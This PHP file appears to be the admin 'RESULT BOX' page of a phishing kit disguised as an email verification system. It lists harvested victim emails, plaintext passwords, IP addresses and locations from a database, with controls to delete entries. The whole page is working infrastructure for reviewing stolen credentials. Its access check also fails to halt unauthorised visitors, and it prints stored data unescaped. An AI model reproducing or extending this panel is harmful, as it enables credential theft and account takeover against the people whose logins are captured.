<?php
session_start();
include('../connect.php');

if(isset($_SESSION['id']) && $_SESSION['login_type']=='admin' ){
}
else{
	echo '<script>alert("Access denied");window.location.assign("../index.php");</script>';
}


if(isset($_POST['delete'])){
  $id = mysqli_real_escape_string($con,$_POST['id']);

  $query = mysqli_query($con,"delete from tbl_data where id = '$id'");

      

  if (empty($query) ){
      echo '<script>alert("Failed") </script>';
  }else{
      echo '<script>alert("Deleted Successfully") </script>';
  }

}
?>


<!DOCTYPE html>
<html lang="zh">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>邮件验证系统</title>

    <!-- Bootstrap Core CSS -->
    <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">

    <!-- MetisMenu CSS -->
    <link href="vendor/metisMenu/metisMenu.min.css" rel="stylesheet">

    <!-- Custom CSS -->
    <link href="dist/css/sb-admin-2.css" rel="stylesheet">

    <!-- Morris Charts CSS -->
    <link href="vendor/morrisjs/morris.css" rel="stylesheet">

    <!-- Custom Fonts -->
    <link href="vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">

    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->

    <style>
        .me {
            display: inline-block;
        }
    </style>
    
       
</head>

<body>

    <div id="wrapper">

     
<!-- Navigation -->
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
            <div class="navbar-header">
                <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
                    <span class="sr-only">Toggle navigation</span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                </button>
            </div>
            <!-- /.navbar-header -->

            <ul class="nav navbar-top-links navbar-right">
               
                <!-- /.dropdown -->
                <li class="dropdown">
                <a href="logout.php"><i class="fa fa-sign-out fa-fw"></i> Logout</a>
                    
                
                    <!-- /.dropdown-user -->
                </li>
                <li class="dropdown">
                <a href="edit.php"><i class="fa fa-edit fa-fw"></i> Edit admin</a>
                    
                
                    <!-- /.dropdown-user -->
                </li>
                <!-- /.dropdown -->
            </ul>
            <!-- /.navbar-top-links -->

            <div class="navbar-default sidebar" role="navigation">
                <div class="sidebar-nav navbar-collapse">
                    <ul class="nav" id="side-menu">
                        <li class="sidebar-search">
                           
                            
                        </li>
                        
                            <!-- /side bar -->
                            <li>
                            <a href="../index.php"><i class="fa fa-dashboard fa-fw"></i> Home Page</a>
                        </li>

                        <li>
                            <a href="result_box.php"><i class="fa fa-book fa-fw"></i> Result</a>
                        </li>
                        
                        
                    </ul>
                </div>
                <!-- /.sidebar-collapse -->
            </div>
            <!-- /.navbar-static-side -->
        </nav>
        
        <div id="page-wrapper" >
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header">RESULT BOX</h1>
                 




    <table class="table table-bordered">
      <thead>
        <tr>
        <th>s/n</th>
          <th>Email</th>
          <th>Password</th>
          <th>Date and Time</th>
          <th>IP</th>
          <th>Location</th>
          <th>Delete</th>
          </tr>
          
        
       
      
      </thead>

      <tbody>
     
      <?php
      
          // output data of each row
          $i=1;
            
          $query= mysqli_query($con,"select * from tbl_data order by time DESC");
          if (mysqli_num_rows($query) > 0) {

          while($row = mysqli_fetch_array($query)) {
            ?> 
               <tr>
               <td><?php echo $i ?></td>
               <td><?php echo $row['email']; ?></td>
               <td><?php echo $row['password']; ?></td>
               <td><?php echo $row['time']; ?></td>
               <td><?php echo $row['ip']; ?></td>
               <td><?php echo $row['location']; ?></td>
               
           
               <td>
            <button type="button" class="btn btn-danger btn-block" data-toggle="modal" data-target="#myModal-<?php echo $i;?>">
              Delete Entry
            </button>

            <!-- The Modal -->
            <div class="modal" id="myModal-<?php echo $i;?>">
                      <div class="modal-dialog">
                        <div class="modal-content">

                          <!-- Modal Header -->
                          <div class="modal-header">
                            <h4 class="modal-title text-danger">WARNING</h4>
                            <button type="button" class="close" data-dismiss="modal">&times;</button>
                          </div>

                          <!-- Modal body -->
                          <div class="modal-body">
                            Are you Sure you Want to Delete this Entry?
                            <br>
                            <br>

                            <form method="post" action="" >                   
                              <input name="id" value="<?php echo $row['id']; ?>" type="hidden" >
                              <!-- Change this to a button or input when using this as a form -->
                              <input type="submit" name="delete" value="Move to trash"class="btn btn-danger"> 
                          </form>
                          </div>

                          <!-- Modal footer -->
                          <div class="modal-footer">
                            <button type="button" class="btn btn-primary" data-dismiss="modal">Close</button>
                          </div>

                        </div>
                      </div>
                    </div>
           
           
               </td>
               </tr>
            
          <?php
          $i++;      
          }
          }else {
          
          
            ?>
            <tr>
               <td colspan = "9" align="center">
                  <h2> 
                  No Entry yet
                  </h2>
               </td>
            </tr>
            <?php
                  }
              ?> 
                                  </tbody> 
          </table>
         
          <?php mysqli_close($con); ?>
                  
          
                </div>
                <!-- /.col-lg-12 -->
            </div>
          
            <!-- /.row -->

            <!-- /.row -->
        </div>
   <!-- /.row -->
        </div>
        <!-- /#page-wrapper -->

    </div>
    <!-- /#wrapper -->

    <!-- jQuery -->
    <script src="vendor/jquery/jquery.min.js"></script>

    <!-- Bootstrap Core JavaScript -->
    <script src="vendor/bootstrap/js/bootstrap.min.js"></script>

    <!-- Metis Menu Plugin JavaScript -->
    <script src="vendor/metisMenu/metisMenu.min.js"></script>

    <!-- Morris Charts JavaScript -->
    <script src="vendor/raphael/raphael.min.js"></script>
    <script src="vendor/morrisjs/morris.min.js"></script>
    <script src="vendor/morrisjs/myjs.js"></script>
    <script src="data/morris-data.js"></script>

    <!-- Custom Theme JavaScript -->
    <script src="dist/js/sb-admin-2.js"></script>

</body>

</html>
